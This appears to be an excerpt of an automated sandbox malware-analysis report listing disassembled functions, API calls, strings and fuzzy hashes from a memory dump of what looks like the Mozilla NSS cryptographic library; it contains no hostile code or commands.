free.MOZGLUE(00000000), ref: 6CE74DCF

Strings

timeout, xrefs: 6CE74C91
any, xrefs: 6CE74C96
slotFlags, xrefs: 6CE74D34
rootFlags, xrefs: 6CE74D47
%s,%s, xrefs: 6CE74C4B
rust, xrefs: 6CE74D22
every, xrefs: 6CE74CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CE74D9D
ootT, xrefs: 6CE74D1A
0x%08lx=[%s %s], xrefs: 6CE74D80

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c081659eba8065896f2cb4e68583d3ad220e4cf75013c6ff3aefe9a92174d63c
Instruction ID: c52d79259ecb8b6b1ee2efc4d44e155d349c2962775639ec8f3e22b0ceda5187
Opcode Fuzzy Hash: c081659eba8065896f2cb4e68583d3ad220e4cf75013c6ff3aefe9a92174d63c
Instruction Fuzzy Hash: 064180B1D10141ABEB229F259C44ABB3A79AF8230CF268126ED5557702E731D924CBF3

Function 6CE56CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE56910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CE56943
Part of subcall function 6CE56910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CE56957
Part of subcall function 6CE56910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CE56972
Part of subcall function 6CE56910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CE56983
Part of subcall function 6CE56910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CE569AA
Part of subcall function 6CE56910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CE569BE
Part of subcall function 6CE56910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CE569D2
Part of subcall function 6CE56910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CE569DF
Part of subcall function 6CE56910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CE56A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE56D8C
free.MOZGLUE(00000000), ref: 6CE56DC5
free.MOZGLUE(?), ref: 6CE56DD6
free.MOZGLUE(?), ref: 6CE56DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE56E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE56E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE56E72
free.MOZGLUE(?), ref: 6CE56EA7
free.MOZGLUE(?), ref: 6CE56EC4
free.MOZGLUE(?), ref: 6CE56ED5
free.MOZGLUE(00000000), ref: 6CE56EE3
free.MOZGLUE(?), ref: 6CE56EF4
free.MOZGLUE(?), ref: 6CE56F08
free.MOZGLUE(00000000), ref: 6CE56F35
free.MOZGLUE(?), ref: 6CE56F44
free.MOZGLUE(?), ref: 6CE56F5B
free.MOZGLUE(00000000), ref: 6CE56F65

Part of subcall function 6CE56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE5781D,00000000,6CE4BE2C,?,6CE56B1D,?,?,?,?,00000000,00000000,6CE5781D), ref: 6CE56C40
Part of subcall function 6CE56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE5781D,?,6CE4BE2C,?), ref: 6CE56C58
Part of subcall function 6CE56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE5781D), ref: 6CE56C6F
Part of subcall function 6CE56C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE56C84
Part of subcall function 6CE56C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE56C96
Part of subcall function 6CE56C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE56CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE56F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE56FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CE56FF4

Strings

+`l, xrefs: 6CE56D0D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 83bef0747e41a6a1dba06cfe549e9d3dc6b2b79c6c9944a5faffdbb8d2528284
Instruction ID: 87468b4cc1fb28183ae9ae7656e2ba6207efcd612d87a389db2152586bc8a341
Opcode Fuzzy Hash: 83bef0747e41a6a1dba06cfe549e9d3dc6b2b79c6c9944a5faffdbb8d2528284
Instruction Fuzzy Hash: 71B15FB0E022099BDF10DFA5D845B9EBBB8AF0534CF640125E815E7741EB36E925CBA1

Function 6CE1DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE1DDDE

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE1DDF5

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE1DE34
PR_Now.NSS3 ref: 6CE1DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE1DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE1DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE1DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE1DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE1DEF0
PR_smprintf.NSS3(6CF4AAF9,(NULL) (Validity Unknown)), ref: 6CE1DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE1DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE1DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE1DF33
free.MOZGLUE(00000000), ref: 6CE1DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE1DF4B
free.MOZGLUE(00000000), ref: 6CE1DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE1DF8E

Strings

%s%s, xrefs: 6CE1DEEB
{???}, xrefs: 6CE1DE8B
(NULL) (Validity Unknown), xrefs: 6CE1DEFA

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 14195e8a7d11520fdabee7709b5d7c0bb619376ce9c31d0b80f17ab55c3f88d7
Instruction ID: 2d0c9e9d5956842a65ae54f7d324dddd33c0258d0bac87dec398cd8d62056574
Opcode Fuzzy Hash: 14195e8a7d11520fdabee7709b5d7c0bb619376ce9c31d0b80f17ab55c3f88d7
Instruction Fuzzy Hash: 5751E3B5E042059BDB11DF658C41AAF7AB9EF89359F244028EC09E7B01E731DA25CBE1

Function 6CE52D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CE52DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CE52E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE52E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE52E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE24F1C,?,-00000001,00000000,?), ref: 6CE52E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE24F1C,?,-00000001,00000000), ref: 6CE52E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE52EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE52EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE52EF8
PR_Unlock.NSS3(?), ref: 6CE52F62
TlsGetValue.KERNEL32 ref: 6CE52F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE52F9E
PR_Unlock.NSS3(?), ref: 6CE52FCA
TlsGetValue.KERNEL32 ref: 6CE5301A
EnterCriticalSection.KERNEL32(?), ref: 6CE5302E
PR_Unlock.NSS3(?), ref: 6CE53066
PR_SetError.NSS3(00000000,00000000), ref: 6CE53085
PR_Unlock.NSS3(?), ref: 6CE530EC
TlsGetValue.KERNEL32 ref: 6CE5310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE53124
PR_Unlock.NSS3(?), ref: 6CE5314C

Part of subcall function 6CE39180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CE6379E,?,6CE39568,00000000,?,6CE6379E,?,00000001,?), ref: 6CE3918D
Part of subcall function 6CE39180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CE6379E,?,6CE39568,00000000,?,6CE6379E,?,00000001,?), ref: 6CE391A0

Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007AD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007CD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007D6
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CD9204A), ref: 6CE007E4
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,6CD9204A), ref: 6CE00864
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE00880
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,6CD9204A), ref: 6CE008CB
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008D7
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008FB

PR_SetError.NSS3(00000000,00000000), ref: 6CE5316D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 4a1264bc170d81f05c89af45e9a4ba16f87476a2641801251026876ed44e0ed7
Instruction ID: 25dd0a6cbf8c024bde2e515dd4da700db606511de52afad44032566e3d2bafc1
Opcode Fuzzy Hash: 4a1264bc170d81f05c89af45e9a4ba16f87476a2641801251026876ed44e0ed7
Instruction Fuzzy Hash: DCF1AFB5E002189FDF01DF64D844BAEBBB4BF09318F644169EC04A7711EB32E9A5CB91

Function 6CE4AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CE4AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE4AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE4AF83

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE4AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE4AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE4AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE4AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE4B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE4B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CE4B041

Strings

hSession = 0x%x, xrefs: 6CE4AF5E, 6CE4AF6E
pulSignatureLen = 0x%p, xrefs: 6CE4B03C
pSignature = 0x%p, xrefs: 6CE4B023
ulDataLen = %d, xrefs: 6CE4B00A
pParameter = 0x%p, xrefs: 6CE4AFB9
ulParameterLen = 0x%p, xrefs: 6CE4AFD4
pData = 0x%p, xrefs: 6CE4AFEF
C_SignMessage, xrefs: 6CE4AF41
(CK_INVALID_HANDLE), xrefs: 6CE4AF7C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 4c6b69fe7210e5481c6b8b9e81b02ea2d814e15f4ca887b87e4e0b72c044faa9
Instruction ID: 8f8e15bb020278d00c4b396e15af5c4e841bf991eb62e834da0370621cd62bf7
Opcode Fuzzy Hash: 4c6b69fe7210e5481c6b8b9e81b02ea2d814e15f4ca887b87e4e0b72c044faa9
Instruction Fuzzy Hash: 1841B135A01124EFDB41DF94ED48F893BB1AB4231EF198428E80857B11DB769868DBA1

Function 6CE39FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE39FBE

Part of subcall function 6CE12F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE12F0A
Part of subcall function 6CE12F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE12F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE3A015

Part of subcall function 6CE51940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CE5563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CE5195C
Part of subcall function 6CE51940: EnterCriticalSection.KERNEL32(?,?,6CE5563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE2EAC5,00000001), ref: 6CE51970
Part of subcall function 6CE51940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE2EAC5,00000001,?,6CE2CE9B,00000001,6CE2EAC5), ref: 6CE519A0

PL_FreeArenaPool.NSS3(?), ref: 6CE3A067
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE3A055

Part of subcall function 6CD94C70: TlsGetValue.KERNEL32(?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94C97
Part of subcall function 6CD94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CB0
Part of subcall function 6CD94C70: PR_Unlock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3A07E
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE3A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE3A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE3A0CF
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE3A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE3A140
PL_FinishArenaPool.NSS3(?), ref: 6CE3A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3A158
PL_FinishArenaPool.NSS3(?), ref: 6CE3A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE3A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE3A1B2
free.MOZGLUE(00000000), ref: 6CE3A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE3A1D6

Part of subcall function 6CE555E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE2EAC5,00000001,?,6CE2CE9B,00000001,6CE2EAC5,00000003,-00000004,00000000,?,6CE2EAC5), ref: 6CE55627
Part of subcall function 6CE555E0: PR_CallOnce.NSS3(6CF72AA4,6CE712D0,?,?,?,?,?,?,?,?,?,?,6CE2EAC5,00000001,?,6CE2CE9B), ref: 6CE5564F
Part of subcall function 6CE555E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE2EAC5,00000001), ref: 6CE55661
Part of subcall function 6CE555E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE2EAC5), ref: 6CE556AF

Strings

security, xrefs: 6CE3A00F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 0e19e9602ee58ead2bd758d838f60602cfd28fb415fb9616235f4f6193319d9a
Instruction ID: efe095add1b2538a2d205ae3d4295da0c10b4c53c637cdb3aadfb470b88cf66a
Opcode Fuzzy Hash: 0e19e9602ee58ead2bd758d838f60602cfd28fb415fb9616235f4f6193319d9a
Instruction Fuzzy Hash: B351FBB5D40215ABEF109BE49C44FAE7378AF4230CF305128E81DABB41F776A559C7A2

Function 6CE54C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE54C4C
EnterCriticalSection.KERNEL32(?), ref: 6CE54C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE54CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54DB7

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007AD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007CD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007D6
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CD9204A), ref: 6CE007E4
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,6CD9204A), ref: 6CE00864
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE00880
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,6CD9204A), ref: 6CE008CB
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008D7
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008FB

TlsGetValue.KERNEL32 ref: 6CE54DD7
EnterCriticalSection.KERNEL32(?), ref: 6CE54DEC
PR_Unlock.NSS3(?), ref: 6CE54E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CE54E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE54E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CE54E71
free.MOZGLUE(00000000), ref: 6CE54E7A
PR_Unlock.NSS3(?), ref: 6CE54EA2
TlsGetValue.KERNEL32 ref: 6CE54EC1
EnterCriticalSection.KERNEL32(?), ref: 6CE54ED6
PR_Unlock.NSS3(?), ref: 6CE54F01
free.MOZGLUE(00000000), ref: 6CE54F2A

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 4685b4fd779e0d05e5eab6110aaac20789efda1aeeb43d4580dcf2fa3fb2977f
Instruction ID: 753b6b070c1d623ade90bcd3e9adabd9390a9ad7b0163122f405e568bf12c36e
Opcode Fuzzy Hash: 4685b4fd779e0d05e5eab6110aaac20789efda1aeeb43d4580dcf2fa3fb2977f
Instruction Fuzzy Hash: F5B11171E002059FDB01EF28D844BAA77B4BF0631CF64412AE9159BB01EB36E935CBA1

Function 6CE5FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE5FFB4

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE5FFC6

Part of subcall function 6CED98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CED9946
Part of subcall function 6CED98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD916B7,00000000), ref: 6CED994E
Part of subcall function 6CED98D0: free.MOZGLUE(00000000), ref: 6CED995E

PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE5FFD6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE5FFE6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE5FFF6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60006
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60016
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60026
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60036
